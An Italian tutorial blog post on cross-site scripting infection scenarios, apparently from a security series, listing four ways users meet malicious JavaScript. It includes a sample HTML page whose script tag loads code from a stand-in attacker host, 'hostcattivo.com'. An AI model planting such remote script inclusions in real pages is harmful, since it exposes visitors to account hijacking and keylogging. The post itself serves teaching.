XSS scenari d’infezione
Come abbiamo detto XSS è una tecnica che "forza" una web application a visualizzare codice maligno. Il codice maligno "inserito" verrà eseguito nel contesto dell'attuale applicazione. Questo significa che, se una pagina vulnerabile ad XSS è considerata "trusted" dal client, il codice maligno "inserito" verrà eseguito nello contesto della stessa.
Tipicamente gli attacchi XSS sono composti da codice HTML/Javascript il quale non viene eseguito a livello server. Si scopre quindi che la vittima di questo tipi di attacchi non è il server stesso, ma l'utente finale. Nel momento in cui un attacco XSS è portato a termine, l'attaccante ha la possibilità di operare differenti attacchi che dimostreremo con il passare del tempo in questa serie di post (account hijacking, keyloggin, intranet hacking etc etc).
Un utente finale, per essere contaminato, deve visitare una pagina Web che contiene del codice Javascript maligno. La maggior parte degli attacchi XSS d'importaza rilevante vengono effettuati dopo aver compresso il server che ospita l'applicativo che si vuole visitare. I scenari classici sono
- Il proprietario del server può aver "deliberatamente" scelto di uplodare il codice maligno all'interno della pagina.
- La pagina è stata defacciata utilizzanto vulnerabilità a livello di network o applicativo.
- Una vulnerabilità XSS permanente è stata sfruttata.
- La più classica, la vittima ha clikkato su un link (non xss permanente) andando a caricare un link DOM basato su XSS.
Per dimostrare i metodi 1,2 avremmo bisogno di scrivere del codice che porterà ad una semplice pagina web contenente codice JS maligno. L'infezione avviene nel momento stesso in cui la pagina viene caricata. Terminato il caricamento.. l'utente è vittima.
1: <html>
2: <body>
3: <h1>Dimostrazione XSS</h1>
4: <!-- Cyphersec.com Dimostrazione infezione XSS-->
5: <script src="http://hostcattivo.com/eviljavascript/codice.js" />
6: </body>
7: </html>
La linea 5 dimostra dove il codice javascript sia stato inserito e come sia possibile, attraverso un semplice tag html, chiamare codice addizionale per eseguire codice arbitrario in una pagina web. In questo caso, la location dove risiede il codice è "hostcattivo" il quale può fungere da "js malaware repository".
I casi 3,4 invece richiedono che il sito sia vulnerabile ad XSS. Questo può accadere in due modi. L'utente sta visitando un link craftato ad hoc oppure, sta visitando (senza saperlo) un sito compromesso del tutto. La cosa tremendamente pericolosa di tutto questo è che, per essere infettati, non bisogna per forza di cose avere una macchina vulnerabile. Anche la macchina con tutte le patch in regola, firewallata come una base militare può essere vittima di un attacco XSS.